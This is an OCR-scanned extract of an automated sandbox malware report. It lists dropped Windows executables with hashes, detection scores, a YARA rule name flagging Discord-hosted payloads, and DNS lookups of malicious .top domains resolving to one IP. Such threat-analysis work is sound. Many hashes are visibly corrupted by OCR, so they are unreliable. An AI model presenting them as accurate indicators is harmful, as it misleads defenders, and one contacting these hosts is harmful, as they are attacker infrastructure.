SHAL: 6E1ACD6CB17AB64AC6DBFOF4400C649371B0E3BD

SHA-256: 08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EABSC

SHA-512: 14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05COB
2

Malicious: true

Yara Hits: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on

a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\4F44.exe, Author: Florian Roth

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 43%

Reputation: unknown

Preview:

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 347136

Entropy (8bit):  5.994706914620217

Encrypted: false

SSDEEP: 6144:5rT+Wp+0uiv24iPmSCyfl1rcrKEIOoL91iH+2k9Q9:5H/p+0uiv24gfllrcrKEIOSIH
MD5: 31BE6099D31BDBF1ED339EFFDC1C7064

SHAL: 6B1077BE6CF57EA98C3BESB6F0268D025EA72D88
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SHA-256:

SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885

ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53ECOC36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFCOE3FE98BFEFOD180C74966D1Cl
DE

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 57%

unknown

.L.IThis program cannot be run in DOS mode....$.......4..p.e.p.e.p.e...\e...R.e..ey..we.p.d..e..g.e...q.e...

C:\Users\user\AppData\Local\Temp\39F6.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

859648

2.9241367623104355

false
6144:pkY0668MzX00Jgx6nrBdkBSrBHHHI6t7af9GHOWbcSDkTDhm6Xpic76vneCVvK36:phHmzXaNIWsUwgrNt1E/Z
AB823DF932B3C2941A9015848EBDBI7B

A7TE2D46ADA3A42A3D32A96937C316340F2E62A5B
812D78A50A8DE210DBBCE12FDA210461770B8B928F8B3249DESOECB68055F61E

59AC83CED7EOQAG8E7491812B494E715FC19BA2AA25EDBCOB5765792A1DC19432DBF8F5B671EA4EEBF590740C63EE1AS0FE4BOFC716B986F6C5070B920F5C23!
5

true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

F0n(c Lot (% .90 (% L0t HNB % .z (4% [Hh % (% M3
L% .&d(. oA+

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Antivirus:
Reputation:

Preview:

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows
dropped
600064
7.08622054901022
false
12288:5sU1dOyImnTRTDjpz0e6LUDR+SiDKY|7:iD3ntTDjROe60ogD
C1EB42674C5E7180ADEFEC71EE8B1D60
4532F19A27443639D789F79231D127031AAE2E29
DFC50DE58C6339E624B60A7E6D5BCCC20297656CD80183379FAC54F11B3E6F56
20F845413A0D1FCE41F6206B62704CB14E019EA1874B5AAA37FD2220E9COE8D4C672E9199179770E11D75634AB0C952F0ES51B6937FBBODC5EABD808C8451F3D
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

PE..L.

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

512512

7.846723941917503

false
12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
F57B28AEC65D4691202B9524F84CC54A

Copyright Joe Security LLC 2021 Page 18 of 97



SHA1L:

SHA-256:
SHA-512:
Malicious:

Yara Hits:

Antivirus:

Reputation:

Preview:

F546B20EB40E3BC2B6929BA0F574E32422CED30C
87D86132095541ED3B5FEOSEB06692E1712287B6FFD9832A28EB85F52B55F0A5
1A773186BOA15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EBA475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F0¢

true

e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, Author: Florian Roth

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 39%

unknown

.@..B....
OS mode....$....... PE...

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows
dropped
876032
7.460770275761101
false
24576:rlIHH+L2668JnnVIA56BIOVXiTIomICWO:rll+L2mtVIA5+ch
94A2C61443FDC38F87B7903D5FF979E7
CB98E7B675EFCEO0COEAEC98B2B7F4C154B5E0D7
D89B90BED3CA49A3110AB8ABFI5B27E42E87F31FAG427E32857F097DAG5C58AB
698F87628375FA33BDDF97907DD09A95C1C20989D68D032E224330ED2EBFCEBC35DE4D0OB4A1A3353C9840C76AE88F6D56640072F859D7C9ECD2560F276CB1BI
true

e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

604160

7.081312542094628

false
12288:zUq737aTz5aNquRVgE6/KEObrF5d/WYN4t88+wGOjsyDR:Aq7rwaOuRm8brF5LupDs
DE692F1B4D4C63FED395BE25E878858E
16F5B74E898FBOCD30F127CB1EO3DA79E481158A
6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3EDSA32AB21

24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EFOCABD710692EBC9393F2A1542E6D8E06
7

true
e Antivirus: Joe Sandbox ML, Detection: 100%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

262248

7.344044114091331

false

6144:7Zd5yNguYY TkxcNQoF8KzJugf/vTVNIKQgJl0:7Zd5yNguPQyNQYJuSvDLKXIo
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MDS5: EDEG62358EA39643E43992E9068E03CA2

SHA1L: OF73E8F96C01135A91D4E1BFECA139AD31C72C15

SHA-256: 187CB817751D6871EB7BE566DDIDIAIBA46EDB11391220B69E4FADEISF31EE05

SHA-512: 552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82
1

Malicious: true

Antivirus: e Antivirus: ReversingLabs, Detection: 14%

Reputation: unknown

Preview:

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1111994

Entropy (8bit):  7.9252602794269915

Encrypted: false

SSDEEP: 24576:4CRVwWO0PzNDITI7RUGb+89w4ZFLKAPLYLSeUr:hOhJGTIAAcns

MD5: 27E7D6FAAO08ALAGICB7C62D199B1B4F6

SHA1L: 507F02D50BA701760A6D2303A648563030FB3ECD

SHA-256: 3896AD778346B9D5B04331410015969F2AF655B6277DBF612721027B73173E50

SHA-512: 7100ED807C5C1C56D5A3FCB4EGIBE326F5D14BC44076E2E35355E6B8E3A175ED1BIFFABCIC82FBCB1C19D1DD552E1D9242CD17CD5C44F9320C067ACA301D:
59

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

.L.IThis program cannot be run in DOS mode....$......j@....R..R.LR'Y.R4L.R'Y.R.LRY.R=L.R...LR..LR'Y.RyLRY.R/!

.R'Y.R/I.RY.R/!.RRich.L.R..
..@..Q@..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 510976

Entropy (8bit):  7.850749525333838

Encrypted: false

SSDEEP: 12288:1w86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+W:IVhdLVg2Zep7njXzPDxC+W

MD5: BOA956B96769AA21A44206DD528C5B39

SHAL: 30CF20E67DFA3FC38C6E80B761ADOD523C5AF43A

SHA-256: 37B78E9A50830B88E97F6048FI0EAOAFES25E0CEE4FOE9AICF3C7849787D9C4AC

SHA-512: 5B6D8707FA2D4B7D41D7B1733409A34645DF2B42FF064D9E7643A8FAAE7076A798B2012959AF6F8B30E44D60B28EF4B1761E0CB3287448329C9144AE9FDICE9F

Malicious: true

Yara Hits: e Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\DEC6.exe, Author: Florian Roth

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

.@..B....
OS mode....$....... PE...

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped

Size (bytes): 343552

Entropy (8bit): 6.591378250837588
Encrypted: false
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SSDEEP:

MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

6144:Kl0zomRIf6aKHTVHcoLrCM9ZMxUrNveZY8oYEdbC6VqovOLVJIErtFwg:KlwomlaKx8oLuMloxCloYEdbCO/OV+H

C5A077A9785424C21611801DB5DDOF95

423BFBE43AC7B308F0B889BE8824C317BC1F4846

8920B1D5B8A3F73BB010CDD5014602E4D974F2D7EF3E63F25674BE6BO3A4B21E
D32C24C7E6BB5F770ED4367ED08251AB545518EC49C46341185A56B5254C50CA49CC291730165D19867687BFB5B48D70C81BCF1711CF95E0B04762A4ACE3F90
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 23%, Browse
e Antivirus: ReversingLabs, Detection: 51%

unknown

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\explorer.exe

ASCII text, with CRLF line terminators

dropped

26

3.95006375643621

false

3:9gPYVIPYV

187F488E27DB4AF347237FE461A079AD
6693BA299EC1881249D59262276A0D2CB21F8EG4
255A65D30841AB4082BDIDOEEA79D49C5EE88F56136157D8D6156AEF11C12309
89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DCICDE1B60FB21CD64
true

unknown

[ZoneTransfer]....Zoneld=0

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\explorer.exe

data

dropped

337526

7.999537905520413

true
6144:71+Bim+iXvZErUb4z9DLV9e/LdQ5jQcXrcMC/o8vDGhTWh9t8h/vd3dSjmQO8:Mumxv+Ubo9DLV4jYjQcX8BU+b8vDQX
0418E44C535FA287A85DA5D30AF5DBC2

DEE28770827B59C5F8496E8AG63A96481FCOA7F8F
16FF69097F9A54A0771CABB1FBAG91438650BF8007E54AD13A612DA46770CBIF

OF3A9154FC1E168EA7BBEB57AEF6870F297C4A9ADF16E8E32FFB23723FF2790DB3E9EAED8G0E3EID6F1672D5C70B2ECD978E1F4AF7951EACS3BDD879A4863¢
89

false

unknown

PeoeeGenn ki ~.1.%..VD...&Q)3...DI.IKPG..R...N<V.... b N..C...<rH.FLUWM.-.[.9..v.T.x.+.ZA.....\t5.9..VP%.g.X.P..[(.. W.. X....$P"W.~....)5%6....$...-.e..<...9..
..5.dw%.0.7...Qg.E...q.7.Y.....?" >Ds....... %b5......=}.G..s....Rp p...c........j.q8Y..0.I. 6...d....G.W..<G.w ...U..+....D.pl .8......0..,Am.3.A... ns..0.A...>C:x.6_..G...a\.

Rl 5 1 2.2 RUGCH=..=1.Cn.2.) 1~ U612, V. Eu o 1 %A+ R =F.. K3, JAV.|D..." Peb.....d.)...2.64+...0W. ... %.......cr@..>..
{0 N[ S]. B Nofoorerrrnn TNEA =0, VX A== ZUNL.S.X~W.| JK O.M..X...D....0... 0.3,V f...7... ZJ.uV(Vm..uh.K"..pUAZY..Q..... T.U.W..6\.Z..xi.... ...d... . H.Pe...
AU Z.Z2y.Y €Q. 4 N0z ] W 0€..To.BoGXerrre... #.M....|CP*38IW.XIf...5.45.[].4)#.p... 1W}..W.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

dropped

212992

6.734269361613487

false

3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJI3/RA:FDy/6BOSFI48v2dxzyuEpynVP

73252ACB344040DDC5D9CE78A5D3A4C2

3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015

B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6EO9F7591448433DC3B01104007808427C3DE
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https://www.metadefender.com/#!/results/file/bzIxMTAyNEI3RzNlX0R2QmFPaGE4cm15cTFC/regular/analysis

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown

Preview:

1..L.IThis program cannot be run in DOS mode....$.....

v )
Process: C:\Windows\explorer.exe
File Type: PE32 executable (GUI) Intel 80386, for MS Windows
Category: dropped
Size (bytes): 347136
Entropy (8bit): 5.994706914620217
Encrypted: false
SSDEEP: 6144:5rT+Wp+O0uiv24iPmSCyfl11rcrKEIOoL91iH+2k9Q9:5H/p+Ouiv24gfl1rcrKEIOSIH
MDS5: 31BE6099D31BDBF1ED339EFFDC1C7064
SHA1L: 6B1077BE6CF57EA98C3BEBB6F0268D025EA72D88
SHA-256: 9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512: ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53ECOC36C34EO0DA3242E19657B1ABB75AA3EEEB8A7367E77FFCOE3FE98BFEFOD180C74966D1ClI
DE
Malicious: true
Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%
Reputation: unknown
Preview:
MZ.ooiiiiiiis @ 1.L.IThis program cannot be run in DOS mode....$......4..p.e.p.e.p.e...\e...Re...ey..wep.d..e..ge..q.e..
............. P...'s.h?..... SeeeDeiiiiiiii . @

.@....rsrc...h?..’s.@ .@..@.reloc..#....5.$...(.....

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 6.591378250837588
TriD: e Win32 Executable (generic) a (10002005/4)
99.96%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e Autodesk FLIC Image File (extensions: fic, fli, cel)
(7/3) 0.00%
File name: CFE9HI9MdWr.exe
File size: 343552
MD5: c5a077a9785424¢21611801db5dd0f95
SHA1L: 423bfbe43ac7b308f0b889be8824c317bc1f4846
SHA256: 8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f
25674be6b03a4b21e
SHA512: d32c24c7e6bb5f770ed4367ed08251ab545518ec49c463
41185a56b5254c50ca49cc291730165d19867687bfb5b4
8d70c81bcfl1711cf95e0b04762a4ace3f90f
SSDEEP: 6144:KI0zomRIf6aKHTVHcoLICM9ZMxUrNveZY8oYEd

File Content Preview:

File Icon

Icon Hash:

Copyright Joe Security LLC 2021

aadaae9ec6a68aad

bC6VaovOLVJIErtFwg:KlwomlaKx8oLuMloxCloYEdbC
O/OV+H

is program cannot be run in DOS mode....$........ 10..kQi.k
Qi.kQi.u...~Qi.u...)Qi.u....Qi.L...hQi.kQh..Qi.u...jQi.u...jQi
U JQI.RIChKQi. .o PE..L..N...
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Static PE Info

General

Entrypoint: 0x421f90

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics: TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp: 0x605ED91A [Sat Mar 27 07:04:58 2021 UTC]

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:
File Version Minor:

Subsystem Version Major:

o oo o u o o

Subsystem Version Minor:

Import Hash: ccl2falc06b94f51dc8ec5d000654e41

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name  Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

text 0x1000 0x473e4 0X47400 False 0.554851973684 data 6.81407351641 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

.data 0x49000 0x42e7a8 0x1a00 unknown unknown unknown unknown IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

rsrc 0x478000 0x4050 0x4200 False 0.674715909091 data 5.9542342506 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

reloc  0x47d000 0x6978 0x6a00 False 0.277933372642 data 3.1463901338 IMAGE_SCN_CNT_INITIALIZED_DA
TA,

IMAGE_SCN_MEM_DISCARDABLE,
IMAGE_SCN_MEM_READ

Resources

Imports

Version Infos

Possible Origin

Language of compilation system Country where language is spoken
Divehi; Dhivehi; Maldivian Maldives
Spanish Paraguay

Network Behavior

Network Port Distribution
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TCP Packets

UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 29, 2021 20:28:41.680531025 CEST 192.168.2.3 8.8.8.8 0x3231 Standard query  xacokuo8.top A (IP address) IN (0x0001)
@

Oct 29, 2021 20:28:41.809067965 CEST 192.168.2.3 8.8.8.8 0x9cha Standard query  hajezeyl.top A (IP address) IN (0x0001)
0)

Oct 29, 2021 20:28:41.988375902 CEST 192.168.2.3 8.8.8.8 0x64d2 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0)

Oct 29, 2021 20:28:42.229924917 CEST 192.168.2.3 8.8.8.8 0x9571 Standard query  privacytoo A (IP address) IN (0x0001)
(0) Izforyou-6000.top

Oct 29, 2021 20:28:45.901159048 CEST 192.168.2.3 8.8.8.8 0x963e Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0

Oct 29, 2021 20:28:46.111673117 CEST 192.168.2.3 8.8.8.8 0x6e26 Standard query  hajezeyl.top A (IP address) IN (0x0001)
©

Oct 29, 2021 20:28:57.746994019 CEST 192.168.2.3 8.8.8.8 0xc867 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:28:57.935645103 CEST 192.168.2.3 8.8.8.8 Oxeeca Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:28:58.126597881 CEST 192.168.2.3 8.8.8.8 0x8ef2 Standard query  hajezeyl.top A (IP address) IN (0x0001)
©)

Oct 29, 2021 20:28:58.314971924 CEST 192.168.2.3 8.8.8.8 Oxccla Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:28:58.475163937 CEST 192.168.2.3 8.8.8.8 Oxfaca Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:00.795654058 CEST 192.168.2.3 8.8.8.8 Ooxdf2d Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:00.966377974 CEST 192.168.2.3 8.8.8.8 0x6698 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:01.148121119 CEST 192.168.2.3 8.8.8.8 0xc03c Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:01.309412956 CEST 192.168.2.3 8.8.8.8 0x2771 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:03.711911917 CEST 192.168.2.3 8.8.8.8 Ox1cfo Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Oct 29, 2021 20:29:04.133281946 CEST 192.168.2.3 8.8.8.8 0Oxfocf Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:04.309887886 CEST 192.168.2.3 8.8.8.8 0x5230 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:06.642806053 CEST 192.168.2.3 8.8.8.8 Oxaaba Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:06.815687895 CEST 192.168.2.3 8.8.8.8 0x576a Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:07.008934021 CEST 192.168.2.3 8.8.8.8 0x136a Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:07.892340899 CEST 192.168.2.3 8.8.8.8 Oxa27 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Oct 29, 2021 20:29:09.883174896 CEST 192.168.2.3 8.8.8.8 0x5e56 Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:10.186300039 CEST 192.168.2.3 8.8.8.8 0x2cch Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:10.886111975 CEST 192.168.2.3 8.8.8.8 0x12c5 Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:11.155530930 CEST 192.168.2.3 8.8.8.8 0xfla0 Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:12.671663046 CEST 192.168.2.3 8.8.8.8 Oxlelf Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:14.777261019 CEST 192.168.2.3 8.8.8.8 Oxad4d Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:14.975265026 CEST 192.168.2.3 8.8.8.8 0x3158 Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:15.178158045 CEST 192.168.2.3 8.8.8.8 0x23ce Standard query  hajezeyl.top A (IP address) IN (0x0001)
©

Oct 29, 2021 20:29:15.384227037 CEST 192.168.2.3 8.8.8.8 0x5b74 Standard query  hajezeyl.top A (IP address) IN (0x0001)

©)
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 29, 2021 20:29:15.550436020 CEST 192.168.2.3 8.8.8.8 0x9abd Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:18.470989943 CEST 192.168.2.3 8.8.8.8 0x9e52 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0

Oct 29, 2021 20:29:18.731682062 CEST 192.168.2.3 8.8.8.8 0x2f6c Standard query  hajezeyl.top A (IP address) IN (0x0001)
0

Oct 29, 2021 20:29:18.957324028 CEST 192.168.2.3 8.8.8.8 Oxbdc6 Standard query  sysaheu90.top A (IP address) IN (0x0001)
(0

Oct 29, 2021 20:29:19.676510096 CEST 192.168.2.3 8.8.8.8 0xf8c2 Standard query  cdn.discor A (IP address) IN (0x0001)
(0) dapp.com

Oct 29, 2021 20:29:22.250931025 CEST 192.168.2.3 8.8.8.8 0x9702 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0)

Oct 29, 2021 20:29:22.418785095 CEST 192.168.2.3 8.8.8.8 Oxe401 Standard query  hajezeyl.top A (IP address) IN (0x0001)
0)

Oct 29, 2021 20:29:22.596616983 CEST 192.168.2.3 8.8.8.8 0x1b80 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0

Oct 29, 2021 20:29:22.791532040 CEST 192.168.2.3 8.8.8.8 0x89cf Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0)

Oct 29, 2021 20:29:23.005609989 CEST 192.168.2.3 8.8.8.8 0xe857 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0

Oct 29, 2021 20:29:23.254939079 CEST 192.168.2.3 8.8.8.8 Oxdffe Standard query  hajezeyl.top A (IP address) IN (0x0001)
@

Oct 29, 2021 20:29:23.804893970 CEST 192.168.2.3 8.8.8.8 0x7587 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(0)

Oct 29, 2021 20:29:24.194061995 CEST 192.168.2.3 8.8.8.8 Oxe81c Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:24.483756065 CEST 192.168.2.3 8.8.8.8 0xc4bf Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:24.831701994 CEST 192.168.2.3 8.8.8.8 Oxfede Standard query  hajezeyl.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:25.013497114 CEST 192.168.2.3 8.8.8.8 0x1a9 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:25.273066044 CEST 192.168.2.3 8.8.8.8 Oxfda9 Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:25.473617077 CEST 192.168.2.3 8.8.8.8 0xdfoe Standard query  hajezeyl.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:32.330440998 CEST 192.168.2.3 8.8.8.8 Oxd22c Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:35.532401085 CEST 192.168.2.3 8.8.8.8 0xd0Ob0 Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:38.953744888 CEST 192.168.2.3 8.8.8.8 0x8cal Standard query  telegalive.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:42.253094912 CEST 192.168.2.3 8.8.8.8 0x5d51 Standard query  telegalive.top A (IP address) IN (0x0001)
()

Oct 29, 2021 20:29:45.558854103 CEST 192.168.2.3 8.8.8.8 0x74d6 Standard query  telegalive.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:49.503921032 CEST 192.168.2.3 8.8.8.8 0x462a Standard query  telegalive.top A (IP address) IN (0x0001)
(©)

Oct 29, 2021 20:29:49.552588940 CEST 192.168.2.3 8.8.8.8 0x5b18 Standard query  toptelete.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:56.471637011 CEST 192.168.2.3 8.8.8.8 0x3881 Standard query  nusurtal4f.net A (IP address) IN (0x0001)
)

Oct 29, 2021 20:29:57.219011068 CEST 192.168.2.3 8.8.8.8 0x41b8 Standard query  znpst.top A (IP address) IN (0x0001)
)

Oct 29, 2021 20:30:22.310899019 CEST 192.168.2.3 8.8.8.8 0x189 Standard query  cdn.discor A (IP address) IN (0x0001)
0) dapp.com

Oct 29, 2021 20:30:49.083338022 CEST 192.168.2.3 8.8.8.8 0xf852 Standard query  mas.to A (IP address) IN (0x0001)
0

Oct 29, 2021 20:30:49.393383980 CEST 192.168.2.3 8.8.8.8 0xb405 Standard query  api.2ip.ua A (IP address) IN (0x0001)
0

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.3 0x3231 Name error (3)  xacokuo8.top none none A (IP address) IN (0x0001)

20:28:41.782394886

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x9cba No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)

20:28:41.828285933

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x64d2 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)

20:28:42.007764101

CEST
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 29, 2021 8.8.8.8 192.168.2.3 0x9571 No error (0) privacytoo 185.98.87.159 A (IP address) IN (0x0001)
20:28:42.537918091 Izforyou-6000.top

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x963e No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:45.920161009

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x6e26 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:46.128801107

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0xc867 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:57.766304970

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxeeca No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:57.955117941

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 0x8ef2 No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:58.146090984

CEST

Oct 29, 2021 8.8.8.8 192.168.2.3 Oxccla No error (0) hajezeyl.top 185.98.87.159 A (IP address) IN (0x0001)
20:28:58.334340096

CEST

